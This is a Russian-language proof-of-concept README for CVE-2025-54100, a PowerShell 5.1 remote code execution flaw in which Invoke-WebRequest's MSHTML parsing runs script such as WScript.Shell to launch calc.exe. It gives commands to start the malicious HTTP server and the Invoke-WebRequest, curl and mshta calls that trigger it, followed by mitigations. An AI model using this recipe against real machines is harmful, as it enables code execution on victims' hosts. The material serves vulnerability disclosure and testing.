
CVE-2025-54100 (уязвимость удаленного выполнения кода в PowerShell)
Демонстрация того, как CVE-2025-54100 через обработку вредоносного HTML приводит к удаленному выполнению кода (RCE) в Windows PowerShell 5.1.
Тип уязвимости: Риск внедрения команд при отсутствии параметра -UseBasicParsing в Invoke-WebRequest
Уровень серьезности: CVSS 7.8 (высокий)
Основная причина: Обработка HTML-ответа на основе MSHTML позволяет выполнение скриптов (например, ActiveXObject) в контексте вызывающего.
Затронутые системы:
CVE-2025-54100.py возвращает специально сконструированную HTML-нагрузкуWScript.ShellShell.Applicationcalc.exepython3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Запуск PoC HTTP-сервера:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
На уязвимом хосте Windows, не используя -UseBasicParsing, выполните следующие команды:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl (псевдоним в PowerShell)
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
Убедитесь, что порт соответствует конфигурации сервера. Если система уязвима, встроенный скрипт будет выполнен парсером MSHTML.
Примечание: Некоторые антивирусы могут блокировать это поведение, даже если сама уязвимость парсинга все еще существует.
calc.exe не запускается:
Invoke-WebRequest без параметра -UseBasicParsingЭтот шаг предназначен для проверки вектора выполнения. В реальной атаке злоумышленники могут использовать обфускацию или методы обхода для преодоления стандартных ограничений безопасности.

Microsoft исправила эту уязвимость в декабре 2025 года:
Своевременно устанавливайте обновления безопасности Windows.
Всегда используйте -UseBasicParsing, чтобы избежать парсинга MSHTML:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
Переходите на PowerShell 7+ (pwsh), так как PowerShell Core больше не полагается на MSHTML для парсинга, что устраняет проблему на уровне архитектуры.